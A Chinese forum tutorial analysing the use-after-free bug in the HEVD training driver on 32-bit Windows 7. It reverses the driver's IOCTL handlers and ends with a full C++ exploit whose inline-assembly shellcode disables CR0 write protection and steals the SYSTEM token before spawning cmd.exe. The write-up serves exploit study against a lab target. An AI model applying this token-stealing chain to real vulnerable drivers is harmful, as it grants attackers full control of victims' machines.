查看原文
其他

HEVD学习笔记——UAF

1900 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:1900




介绍


HEVD作为一个优秀的内核漏洞靶场受到大家的喜欢,靶场地址 HackSysExtremeVulnerableDriver。这里选择x86的驱动来进行黑盒测试学习内核漏洞,作为学习笔记记录下来。

实验环境:




驱动信息


1、WinDbg    


装载驱动以后首先使用WinDbg查看驱动的内容
SXS.DLL: Read 0 bytes from XML stream; HRESULT returned = 0x00000000SXS.DLL: Creating 756 byte file mapping
## ## ######## ## ## ######## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######### ###### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ######## HackSys Extreme Vulnerable Driver Version: 3.00 [+] HackSys Extreme Vulnerable Driver Loaded
2: kd> lm m HEVDstart end module name98c78000 98cc2000 HEVD (deferred) 2: kd> !drvobj HEVD 2Driver object (87d68b90) is for:*** ERROR: Module load completed but symbols could not be loaded for HEVD.sys \Driver\HEVDDriverEntry: 98cc00ea HEVDDriverStartIo: 00000000 DriverUnload: 98cbc000 HEVDAddDevice: 00000000
Dispatch routines:[00] IRP_MJ_CREATE 98cbc048 HEVD+0x44048[01] IRP_MJ_CREATE_NAMED_PIPE 98cbc5c2 HEVD+0x445c2[02] IRP_MJ_CLOSE 98cbc048 HEVD+0x44048[03] IRP_MJ_READ 98cbc5c2 HEVD+0x445c2[04] IRP_MJ_WRITE 98cbc5c2 HEVD+0x445c2[05] IRP_MJ_QUERY_INFORMATION 98cbc5c2 HEVD+0x445c2[06] IRP_MJ_SET_INFORMATION 98cbc5c2 HEVD+0x445c2[07] IRP_MJ_QUERY_EA 98cbc5c2 HEVD+0x445c2[08] IRP_MJ_SET_EA 98cbc5c2 HEVD+0x445c2[09] IRP_MJ_FLUSH_BUFFERS 98cbc5c2 HEVD+0x445c2[0a] IRP_MJ_QUERY_VOLUME_INFORMATION 98cbc5c2 HEVD+0x445c2[0b] IRP_MJ_SET_VOLUME_INFORMATION 98cbc5c2 HEVD+0x445c2[0c] IRP_MJ_DIRECTORY_CONTROL 98cbc5c2 HEVD+0x445c2[0d] IRP_MJ_FILE_SYSTEM_CONTROL 98cbc5c2 HEVD+0x445c2[0e] IRP_MJ_DEVICE_CONTROL 98cbc064 HEVD+0x44064[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL 98cbc5c2 HEVD+0x445c2[10] IRP_MJ_SHUTDOWN 98cbc5c2 HEVD+0x445c2[11] IRP_MJ_LOCK_CONTROL 98cbc5c2 HEVD+0x445c2[12] IRP_MJ_CLEANUP 98cbc5c2 HEVD+0x445c2[13] IRP_MJ_CREATE_MAILSLOT 98cbc5c2 HEVD+0x445c2[14] IRP_MJ_QUERY_SECURITY 98cbc5c2 HEVD+0x445c2[15] IRP_MJ_SET_SECURITY 98cbc5c2 HEVD+0x445c2[16] IRP_MJ_POWER 98cbc5c2 HEVD+0x445c2[17] IRP_MJ_SYSTEM_CONTROL 98cbc5c2 HEVD+0x445c2[18] IRP_MJ_DEVICE_CHANGE 98cbc5c2 HEVD+0x445c2[19] IRP_MJ_QUERY_QUOTA 98cbc5c2 HEVD+0x445c2[1a] IRP_MJ_SET_QUOTA 98cbc5c2 HEVD+0x445c2[1b] IRP_MJ_PNP 98cbc5c2 HEVD+0x445c2

驱动装载的地址是0x98C78000,DriverEntry的地址是0x98CC00EA,所以DriverEntry的偏移地址是0x480EA。IRP_MJ_DEVICE_CONTROL的分发函数偏移地址0x445C2。

2、IDA Pro


使用IDA对驱动进行分析,可以看到在DriverEntry首先是创建了设备对象
INIT:00448036 push eax ; DeviceObjectINIT:00448037 push edi ; ExclusiveINIT:00448038 push FILE_DEVICE_SECURE_OPEN ; DeviceCharacteristicsINIT:0044803D push FILE_DEVICE_UNKNOWN ; DeviceTypeINIT:0044803F lea eax, [ebp+DestinationString]INIT:00448042 push eax ; DeviceNameINIT:00448043 push edi ; DeviceExtensionSizeINIT:00448044 push ebx ; DriverObjectINIT:00448045 call ds:IoCreateDevice

随后就是对分发函数的赋值以及符号链接的创建:
INIT:00448075 push 1ChINIT:00448077 pop ecxINIT:00448078 mov eax, offset DispatchCommonINIT:0044807D lea edi, [ebx+DRIVER_OBJECT.MajorFunction]INIT:00448080 rep stosdINIT:00448082 mov eax, offset DispatchCreateAndCloseINIT:00448087 mov dword ptr [ebx+70h], offset DispatchIoCtrlINIT:0044808E mov [ebx+38h], eaxINIT:00448091 mov [ebx+40h], eaxINIT:00448094 mov eax, [ebp+DeviceObject]INIT:00448097 mov [ebx+_DRIVER_OBJECT.DriverUnload], offset DriverUnloadINIT:0044809E or [eax+DEVICE_OBJECT.Flags], DO_DIRECT_IOINIT:004480A2 mov eax, [ebp+DeviceObject]INIT:004480A5 and [eax+DEVICE_OBJECT.Flags], 0FFFFFF7FhINIT:004480AC lea eax, [ebp+DestinationString]INIT:004480AF push eax ; DeviceNameINIT:004480B0 lea eax, [ebp+SymbolicLinkName]INIT:004480B3 push eax ; SymbolicLinkNameINIT:004480B4 call ds:IoCreateSymbolicLink

而根据IDA识别的结果就可以得知符号名,根据符号名就可以完成和驱动的连接与通信:
INIT:00448134 aDeviceHacksyse: ; DATA XREF: DriverEntry(x,x)+14↑oINIT:00448134 text "UTF-16LE", '\Device\HackSysExtremeVulnerableDriver',0INIT:00448182 ; const WCHAR aDosdevicesHack_0INIT:00448182 aDosdevicesHack_0: ; DATA XREF: DriverEntry(x,x)+25↑oINIT:00448182 text "UTF-16LE", '\DosDevices\HackSysExtremeVulnerableDriver',0

而在DispatchIoCtrl中,程序将IoControlCode取出减去0x222003以后得到下标,在用这个下标从Index_Table中取出函数地址表的下标。

在根据这个地址表的下标从Func_Table中获得函数地址以后跳转到该函数执行:
PAGE:00444064 ; int __stdcall DispatchIoCtrl(int, PIRP Irp)PAGE:00444064 DispatchIoCtrl proc near ; DATA XREF: DriverEntry(x,x)+87↓oPAGE:00444064PAGE:00444064 Irp = dword ptr 0ChPAGE:00444064PAGE:00444064 push ebpPAGE:00444065 mov ebp, espPAGE:00444067 push ebxPAGE:00444068 push esiPAGE:00444069 push ediPAGE:0044406A mov edi, [ebp+Irp]PAGE:0044406D mov ebx, STATUS_NOT_SUPPORTEDPAGE:00444072 mov eax, [edi+60h] ; 取出CurrentStackLocation指针赋给eaxPAGE:00444075 test eax, eaxPAGE:00444077 jz loc_4444C5PAGE:0044407D mov ebx, eaxPAGE:0044407F mov ecx, [ebx+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]PAGE:00444082 lea eax, [ecx-222003h] ; switch 109 casesPAGE:00444088 cmp eax, 6ChPAGE:0044408B ja loc_4444AD ; jumptable 00444098 default casePAGE:00444091 movzx eax, ds:Index_Table[eax]PAGE:00444098 jmp ds:Func_Table[eax*4] ; switch jump

而这两张表的内容如下,其中的FuncTable中的每一个地址都代表了不同的漏洞:
PAGE:004444E0 Func_Table dd offset loc_44409F, offset loc_4440CF, offset loc_4440F1PAGE:004444E0 ; DATA XREF: DispatchIoCtrl+34↑rPAGE:004444E0 dd offset loc_444113, offset loc_444135, offset loc_44415A ; jump table for switch statementPAGE:004444E0 dd offset loc_44417F, offset loc_4441A4, offset loc_4441C9PAGE:004444E0 dd offset loc_4441EE, offset loc_444213, offset loc_444238PAGE:004444E0 dd offset loc_44425D, offset loc_444282, offset loc_4442A7PAGE:004444E0 dd offset loc_4442CC, offset loc_4442F1, offset loc_444316PAGE:004444E0 dd offset loc_44433B, offset loc_444360, offset loc_444385PAGE:004444E0 dd offset loc_4443AA, offset loc_4443CF, offset loc_4443F4PAGE:004444E0 dd offset loc_444419, offset loc_44443E, offset loc_444463PAGE:004444E0 dd offset loc_444488, offset loc_4444ADPAGE:00444554 Index_Table db 0, 1Ch, 1Ch, 1ChPAGE:00444554 ; DATA XREF: DispatchIoCtrl+2D↑rPAGE:00444554 db 1, 1Ch, 1Ch, 1Ch ; indirect table for switch statementPAGE:00444554 db 2, 1Ch, 1Ch, 1ChPAGE:00444554 db 3, 1Ch, 1Ch, 1ChPAGE:00444554 db 4, 1Ch, 1Ch, 1ChPAGE:00444554 db 5, 1Ch, 1Ch, 1ChPAGE:00444554 db 6, 1Ch, 1Ch, 1ChPAGE:00444554 db 7, 1Ch, 1Ch, 1ChPAGE:00444554 db 8, 1Ch, 1Ch, 1ChPAGE:00444554 db 9, 1Ch, 1Ch, 1ChPAGE:00444554 db 0Ah, 1Ch, 1Ch, 1ChPAGE:00444554 db 0Bh, 1Ch, 1Ch, 1ChPAGE:00444554 db 0Ch, 1Ch, 1Ch, 1ChPAGE:00444554 db 0Dh, 1Ch, 1Ch, 1ChPAGE:00444554 db 0Eh, 1Ch, 1Ch, 1ChPAGE:00444554 db 0Fh, 1Ch, 1Ch, 1ChPAGE:00444554 db 10h, 1Ch, 1Ch, 1ChPAGE:00444554 db 11h, 1Ch, 1Ch, 1ChPAGE:00444554 db 12h, 1Ch, 1Ch, 1ChPAGE:00444554 db 13h, 1Ch, 1Ch, 1ChPAGE:00444554 db 14h, 1Ch, 1Ch, 1ChPAGE:00444554 db 15h, 1Ch, 1Ch, 1ChPAGE:00444554 db 16h, 1Ch, 1Ch, 1ChPAGE:00444554 db 17h, 1Ch, 1Ch, 1ChPAGE:00444554 db 18h, 1Ch, 1Ch, 1ChPAGE:00444554 db 19h, 1Ch, 1Ch, 1ChPAGE:00444554 db 1Ah, 1Ch, 1Ch, 1ChPAGE:00444554 db 1BhPAGE:004445C1 align 2

如果取出的函数地址表的下标是0x1C,那么对应的就是最后一个跳转地址,也就是loc_4444AD。

而这个地址中的代码是在告知用户,发送的IOCTL是不合法的IOCTL:
PAGE:004444AD loc_4444AD: ; CODE XREF: DispatchIoCtrl+27↑jPAGE:004444AD ; DispatchIoCtrl+34↑jPAGE:004444AD ; DATA XREF: ...PAGE:004444AD push ecx ; jumptable 00444098 default casePAGE:004444AE push offset aInvalidIoctlCo ; "[-] Invalid IOCTL Code: 0x%X\n"PAGE:004444B3 push 3 ; LevelPAGE:004444B5 push DPFLTR_IHVDRIVER_ID ; ComponentIdPAGE:004444B7 call ds:DbgPrintExPAGE:004444BD add esp, 10hPAGE:004444C0 mov ebx, STATUS_INVALID_DEVICE_REQUESTPAGE:004444C5PAGE:004444C5 loc_4444C5: ; CODE XREF: DispatchIoCtrl+13↑jPAGE:004444C5 ; DispatchIoCtrl+66↑jPAGE:004444C5 and [edi+_IRP.IoStatus.Information], 0PAGE:004444C9 xor dl, dl ; PriorityBoostPAGE:004444CB mov ecx, edi ; IrpPAGE:004444CD mov [edi+_IRP.IoStatus.anonymous_0.Status], ebxPAGE:004444D0 call ds:IofCompleteRequestPAGE:004444D6 pop ediPAGE:004444D7 pop esiPAGE:004444D8 mov eax, ebxPAGE:004444DA pop ebxPAGE:004444DB pop ebpPAGE:004444DC retn 8PAGE:004444DC DispatchIoCtrl endp

这就可以知道,要触发不同的漏洞,IOCTL是从0x222003开始,每次都要增加4,最多可以增加0x1B次。



漏洞原理


释放重引用漏洞(UAF)产生的原因是对已经释放的内存区域进行使用,导致了内存崩溃或者任意代码的执行。比如下面这段代码:
#include <windows.h>#include <cstdio>
int main(int argc, char **argv){ char *buf1; char *buf2;

buf1 = (char *)malloc(0x100); // 为buf1申请一段堆内存 printf("buf1: 0x%p\n", buf1); free(buf1); // 将这段内存释放掉,但是buf1并没有赋值为NULL
buf2 = (char *)malloc(0x100); // 为buf2申请同样大的堆内存,这时候之前buf1申请然后释放掉的堆内存就会给buf2 printf("buf2: 0x%p\n", buf2);
memset(buf2, 0, 0x100); printf("buf2: %s\n", buf2); // 将这段内存初始化以后输出
// 由于这段堆内存被buf2重新申请,它将会有效,此时堆buf1的操作也会有效 // 又因为它们两个指向同一块堆内存,所以对buf1的操作也会影响到buf2 printf("======Use After Free======\n"); strncpy(buf1, "Hello 1900", strlen("hello 1900")); printf("buf2: %s\n", buf2);
return 0;}

由于free掉buf1以后,没有及时地将buf1的指针清空,导致随后对buf1的操作将会有效,从而影响了buf2的数据。最终输出如下图:


所以要利用UAF漏洞,需要以下的几个步骤:

1、申请一块内存以后释放掉它,但是没有清空该内存的指针
2、重新申请一块同样大小的内存,此时这两个指针对指向同一块内存
3、对第一步的指针进行操作,它将会影响到第二步申请的指针指向的内存



漏洞分析


在HEVD中,有4个函数是用来实现本次的漏洞,分别是:

1、AllocateUAFObjectNonPagedPoolIoCtrlHandler:用来申请一块内存

2、UseUAFObjectNonPagedPoolIoCtrlHandler:对申请的内存的使用

3、FreeUAFObjectNonPagedPoolIoCtrlHandler:释放申请的内存

4、AllocateFakeObjectNonPagedPoolIoCtrlHandler:申请和第一步同样大小的内存并对其进行修改


1、AllocateUAFObjectNonPagedPoolIoCtrlHandler


该函数是函数地址表中的第5个函数,所以对应的IOCTL为0x222003 + 4 * 4。

PAGE:00444135 loc_444135: ; CODE XREF: DispatchIoCtrl+34↑jPAGE:00444135 ; DATA XREF: PAGE:Func_Table↓oPAGE:00444135 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236435PAGE:0044413B push offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...PAGE:00444140 push 3 ; LevelPAGE:00444142 push 4Dh ; ComponentIdPAGE:00444144 call esi ; DbgPrintExPAGE:00444146 add esp, 0ChPAGE:00444149 push ebx ; 将CurrentStackLocation指针入栈PAGE:0044414A push edi ; 将IRP的指针入栈PAGE:0044414B call AllocateUAFObjectNonPagedPoolIoCtrlHandlerPAGE:00444150 push offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...PAGE:00444155 jmp loc_4440BF

程序将参数入栈以后就调用了AllocateUAFObjectNonPagedPoolCtrlHandler,继续看该函数:
PAGE:0044635A AllocateUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:0044635A ; CODE XREF: DispatchIoCtrl+E7↑pPAGE:0044635A call AllocateUAFObjectNonePagedPoolPAGE:0044635F retn 8PAGE:0044635F AllocateUAFObjectNonPagedPoolIoCtrlHandler endp

在该函数中,只是调用了AllocateUAFObjectNonPagedPool,继续跟进这个函数。
PAGE:00446236 AllocateUAFObjectNonePagedPool proc nearPAGE:00446236 ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓pPAGE:00446236PAGE:00446236 var_1C = dword ptr -1ChPAGE:00446236 ms_exc = CPPEH_RECORD ptr -18hPAGE:00446236PAGE:00446236 push 0ChPAGE:00446238 push offset stru_402580PAGE:0044623D call __SEH_prolog4PAGE:00446242 mov edi, STATUS_UNSUCCESSFULPAGE:00446247 and dword ptr [ebp-4], 0PAGE:0044624B push offset aAllocatingUafO ; "[+] Allocating UaF Object\n"PAGE:00446250 push 3 ; LevelPAGE:00446252 push 4Dh ; ComponentIdPAGE:00446254 mov esi, ds:DbgPrintExPAGE:0044625A call esi ; DbgPrintExPAGE:0044625C add esp, 0ChPAGE:0044625F push 'kcaH' ; TagPAGE:00446264 push 58h ; NumberOfBytesPAGE:00446266 push NonPagedPool ; PoolTypePAGE:00446268 call ds:ExAllocatePoolWithTagPAGE:0044626E mov ebx, eax ; 将申请到的内存的地址赋给ebxPAGE:00446270 test ebx, ebxPAGE:00446272 jnz short loc_446291

可以看到,该函数中首先申请了一块0x58大小,tag为Hack的内存,并将指针赋给ebx。
PAGE:00446236 AllocateUAFObjectNonePagedPool proc nearPAGE:00446236 ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓pPAGE:00446236PAGE:00446236 var_1C = dword ptr -1ChPAGE:00446236 ms_exc = CPPEH_RECORD ptr -18hPAGE:00446236PAGE:00446236 push 0ChPAGE:00446238 push offset stru_402580PAGE:0044623D call __SEH_prolog4PAGE:00446242 mov edi, STATUS_UNSUCCESSFULPAGE:00446247 and dword ptr [ebp-4], 0PAGE:0044624B push offset aAllocatingUafO ; "[+] Allocating UaF Object\n"PAGE:00446250 push 3 ; LevelPAGE:00446252 push 4Dh ; ComponentIdPAGE:00446254 mov esi, ds:DbgPrintExPAGE:0044625A call esi ; DbgPrintExPAGE:0044625C add esp, 0ChPAGE:0044625F push 'kcaH' ; TagPAGE:00446264 push 58h ; NumberOfBytesPAGE:00446266 push NonPagedPool ; PoolTypePAGE:00446268 call ds:ExAllocatePoolWithTagPAGE:0044626E mov ebx, eax ; 将申请到的内存的地址赋给ebxPAGE:00446270 test ebx, ebxPAGE:00446272 jnz short loc_446291

随后程序会将这段内存的前4个字节赋值为UAFObjectCallbackNonPagedPool,后面的字节赋值为'A',并将申请到的内存保存在全局变量中。而前4字节保存的函数只是一个简单的输出函数。
PAGE:00446418 UAFObjectCallbackNonPagedPool proc near ; DATA XREF: AllocateUAFObjectNonePagedPool+A8↑oPAGE:00446418 push offset aUseafterFreeOb ; "[+] UseAfter Free Object Callback NonPa"...PAGE:0044641D push 3 ; LevelPAGE:0044641F push 4Dh ; ComponentIdPAGE:00446421 call ds:DbgPrintExPAGE:00446427 add esp, 0ChPAGE:0044642A retnPAGE:0044642A UAFObjectCallbackNonPagedPool endp

由此可知,AllocateUAFObjectNonPagedPoolIoCtrlHandler做的事情是,申请一块0x58大小的内存。该内存的前4字节赋值为一个函数地址,后面的字节赋值为'A'。而这块内存的地址也会被赋值到全局变量g_UseAfterFreeObjectNonPagedPool中。

2、UseUAFObjectNonPagedPoolIoCtrlHandler


该函数是函数表中的第6个函数,对应的IOCTL是0x222003 + 5 * 4。而该IOCTL的操作是对UseUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用UseUAFObjectNonPagedPool。
PAGE:0044415A loc_44415A: ; CODE XREF: DispatchIoCtrl+34↑jPAGE:0044415A ; DATA XREF: PAGE:Func_Table↓oPAGE:0044415A mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236439PAGE:00444160 push offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...PAGE:00444165 push 3 ; LevelPAGE:00444167 push 4Dh ; ComponentIdPAGE:00444169 call esi ; DbgPrintExPAGE:0044416B add esp, 0ChPAGE:0044416E push ebxPAGE:0044416F push ediPAGE:00444170 call UseUAFObjectNonPagedPoolIoCtrlHandlerPAGE:00444175 push offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...PAGE:0044417A jmp loc_4440BF ================================================================================================ PAGE:004464E8 UseUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:004464E8 ; CODE XREF: DispatchIoCtrl+10C↑pPAGE:004464E8 call UseUAFObjectNonPagedPoolPAGE:004464ED retn 8PAGE:004464ED UseUAFObjectNonPagedPoolIoCtrlHandler endp

在UseUAFObjectNonPagedPool中,函数首先会对全局变量g_UseAfterFreeObjectNonPagedPool进行判断,判断该变量中是否保存了内存地址。
PAGE:00446441 cmp g_UserAfterFreeObjectNonPagedPool, 0 ; 判断全局变量中是否保存了地址PAGE:00446448 jz loc_4464CE

随后就是对地址的前四字节进行判断,是否保存了函数地址,如果保存了就调用这个函数。
PAGE:00446495 mov eax, [eax] ; 取出函数地址PAGE:00446497 test eax, eax ; 函数地址是否有效PAGE:00446499 jz short loc_44649DPAGE:0044649B call eax ; 对函数进行调用

3、FreeUAFObjectNonPagedPoolIoCtrlHandler


该函数是地址表中的第7个函数,对应的IOCTL是0x222003 + 6 * 4。而该IOCTL的操作是对FreeUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用FreeUAFObjectNonPagedPool。
PAGE:0044417F loc_44417F: ; CODE XREF: DispatchIoCtrl+34↑jPAGE:0044417F ; DATA XREF: PAGE:Func_Table↓oPAGE:0044417F mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236443PAGE:00444185 push offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...PAGE:0044418A push 3 ; LevelPAGE:0044418C push 4Dh ; ComponentIdPAGE:0044418E call esi ; DbgPrintExPAGE:00444190 add esp, 0ChPAGE:00444193 push ebxPAGE:00444194 push ediPAGE:00444195 call FreeUAFObjectNonPagedPoolIoCtrlHandlerPAGE:0044419A push offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...PAGE:0044419F jmp loc_4440BF ====================================================================================== PAGE:00446410 FreeUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:00446410 ; CODE XREF: DispatchIoCtrl+131↑pPAGE:00446410 call FreeUAFObjectNonPagedPoolPAGE:00446415 retn 8PAGE:00446415 FreeUAFObjectNonPagedPoolIoCtrlHandler endp

而在FreeUAFObjectNonPagedPool函数中,函数首先会判断g_UseAfterFreeObjectNonPagedPool保存的地址是否为0。
PAGE:00446377 cmp g_UseAfterFreeObjectNonPagedPool, 0PAGE:0044637E jz short loc_4463F7

如果地址不为0,函数就会调用ExFreePoolWithTag将这段内存释放掉。
PAGE:004463B5 push 'kcaH' ; TagPAGE:004463BA push g_UseAfterFreeObjectNonPagedPool ; PPAGE:004463C0 call ds:ExFreePoolWithTag

4、AllocateFakeObjectNonPagedPoolIoCtrlHandler


该函数在函数地址表中的第8个函数,对应的IOCTL为0x222003 + 7 * 4。
PAGE:004441A4 loc_4441A4: ; CODE XREF: DispatchIoCtrl+34↑jPAGE:004441A4 ; DATA XREF: PAGE:Func_Table↓oPAGE:004441A4 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447PAGE:004441AA push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441AF push 3 ; LevelPAGE:004441B1 push 4Dh ; ComponentIdPAGE:004441B3 call esi ; DbgPrintExPAGE:004441B5 add esp, 0ChPAGE:004441B8 push ebx ; 将CurrentStackLocation指针入栈PAGE:004441B9 push edi ; 将IRP的指针入栈PAGE:004441BA call AllocateFakeObjectNonPagedPoolIoCtlHandlerPAGE:004441BF push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441C4 jmp loc_4440BF

将IRP和CurrentStackLocation指针入栈以后就调用了AllocateFakeObjectNonPagedPoolIoCtrlHandler。
PAGE:004441A4 loc_4441A4: ; CODE XREF: DispatchIoCtrl+34↑jPAGE:004441A4 ; DATA XREF: PAGE:Func_Table↓oPAGE:004441A4 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447PAGE:004441AA push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441AF push 3 ; LevelPAGE:004441B1 push 4Dh ; ComponentIdPAGE:004441B3 call esi ; DbgPrintExPAGE:004441B5 add esp, 0ChPAGE:004441B8 push ebx ; 将CurrentStackLocation指针入栈PAGE:004441B9 push edi ; 将IRP的指针入栈PAGE:004441BA call AllocateFakeObjectNonPagedPoolIoCtlHandlerPAGE:004441BF push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441C4 jmp loc_4440BF

在该函数中,函数会将输入缓冲区的地址取出以后入栈,接着在调用AllocateFakeObjectNonPagedPool函数。
PAGE:0044611C ; int __stdcall AllocateFakeObjectNonPagedPool(void *)PAGE:0044611C AllocateFakeObjectNonPagedPool proc nearPAGE:0044611C ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+13↓pPAGE:0044611CPAGE:0044611C var_20 = dword ptr -20hPAGE:0044611C var_AllocateMemory= dword ptr -1ChPAGE:0044611C ms_exc = CPPEH_RECORD ptr -18hPAGE:0044611C arg_InputBuffer = dword ptr 8PAGE:0044611CPAGE:0044611C push 10hPAGE:0044611E push offset stru_4025A0PAGE:00446123 call __SEH_prolog4PAGE:00446128 xor ebx, ebxPAGE:0044612A mov [ebp+ms_exc.registration.TryLevel], ebxPAGE:0044612D push offset aCreatingFakeOb ; "[+] Creating Fake Object\n"PAGE:00446132 push 3 ; LevelPAGE:00446134 push 4Dh ; ComponentIdPAGE:00446136 mov esi, ds:DbgPrintExPAGE:0044613C call esi ; DbgPrintExPAGE:0044613E add esp, 0ChPAGE:00446141 push 'kcaH' ; TagPAGE:00446146 push 58h ; NumberOfBytesPAGE:00446148 push ebx ; PoolTypePAGE:00446149 call ds:ExAllocatePoolWithTagPAGE:0044614F mov edi, eax ; 将申请到的地址赋给ediPAGE:00446151 mov [ebp+var_AllocateMemory], edi ; 将地址赋给局部变量PAGE:00446154 test edi, edi ; 申请到的内存是否成功PAGE:00446156 jnz short loc_446177PAGE:00446158 push offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk\n"PAGE:0044615D push 3 ; LevelPAGE:0044615F push 4Dh ; ComponentIdPAGE:00446161 call esi ; DbgPrintExPAGE:00446163 add esp, 0ChPAGE:00446166 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEhPAGE:0044616D mov eax, STATUS_NO_MEMORYPAGE:00446172 jmp loc_446204

函数会申请一块0x58大,tag为Hack的内存,并将内存地址保存到edi和局部变量中。
PAGE:004461B3 push 1 ; AlignmentPAGE:004461B5 push 58h ; LengthPAGE:004461B7 mov esi, [ebp+arg_InputBuffer] ; 将输入缓冲区的地址取出赋给esiPAGE:004461BA push esi ; AddressPAGE:004461BB call ds:ProbeForReadPAGE:004461C1 push 16hPAGE:004461C3 pop ecxPAGE:004461C4 rep movsdPAGE:004461C6 mov eax, [ebp+var_AllocateMemory]PAGE:004461C9 mov [eax+57h], bl ; 将内存最后一个字节赋值为0

接着函数会验证输入缓冲区的指针是否可读,然后将输入缓冲区的内容赋值到申请到的0x58字节的内存中,在对申请到的内存的最后一个字节赋值为0。



漏洞利用


由上面分析可以知道,申请的0x58大小的内存中的前4个字节保存了一个函数地址。正常情况下,通过对UseUAFObjectNonPagedPoolIoCtrlHandler的调用就会调用程序分配的那个函数,如下图所示:


可是,在释放内存的时候,程序没有对全局变量进行处理。这样,如果释放完内存以后,调用AllocateFakeObjectNonPagedPoolIoCtrlHandler的时候,程序会申请0x58大小的内存,这个时候就会得到和全局变量所指地址一样的内存区域。

而此时我们通过构造输入缓冲区的前4字节来指定为ShellCode的函数地址,这样就会改变全局变量所指的内存的前4字节,这个时候在调用UseUAFObjectNonPagedPoolIoCtrlHandler的时候,就会调用指定的ShellCode函数地址。

完整的exp代码如下:
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <cstdio>#include <cstdlib>#include <windows.h>#include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver" void ShowError(PCHAR msg, DWORD ErrorCode);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){ NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONST DWORD dwAllocateIoCtl = 0x222003 + 4 * 4; CONST DWORD dwUseIoCtl = 0x222003 + 5 * 4; CONST DWORD dwFreeIoCtl = 0x222003 + 6 * 4; CONST DWORD dwFakeIoCtl = 0x222003 + 7 * 4; // 打开驱动设备 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { ShowError("CreateFile", GetLastError()); goto exit; } // 与驱动设备进行交互,分配0x58大小的内存 DeviceIoControl(hDevice, dwAllocateIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); // 与驱动设备进行交互,正常操作时候对函数的调用 DeviceIoControl(hDevice, dwUseIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); // 与驱动设备进行交互,将申请的内存块释放 DeviceIoControl(hDevice, dwFreeIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); char szInput[0x58] = { 0 }; *(PDWORD)szInput = (DWORD)Ring0ShellCode; // 与驱动设备进行交互,对函数地址进行覆盖 if (!DeviceIoControl(hDevice, dwFakeIoCtl, szInput, 0x58, NULL, 0, &dwReturnLength, NULL)) { ShowError("DeviceIoControl", GetLastError()); goto exit; } // 与驱动设备进行交互,再次对函数进行调用 DeviceIoControl(hDevice, dwUseIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); if (g_bIsExecute) { printf("Ring0 代码执行完成\n"); } si.cb = sizeof(si); if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("CreateProcess Error\n"); goto exit; } exit: if (hDevice) NtClose(hDevice); system("pause"); return 0;} void ShowError(PCHAR msg, DWORD ErrorCode){ printf("%s Error 0x%X\n", msg, ErrorCode);} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){ // 关闭页保护 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取当前线程 mov eax, fs:[0x124] // 取线程对应的EPROCESS mov esi, [eax + 0x150] mov eax, esi searchWin7: mov eax, [eax + 0xB8] sub eax, 0x0B8 mov edx, [eax + 0xB4] cmp edx, 0x4 jne searchWin7 mov eax, [eax + 0xF8] mov [esi + 0xF8], eax } // 开起页保护 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE;}

调用完成以后,程序将成功提权:



参考资料:《漏洞战争》



 


看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区





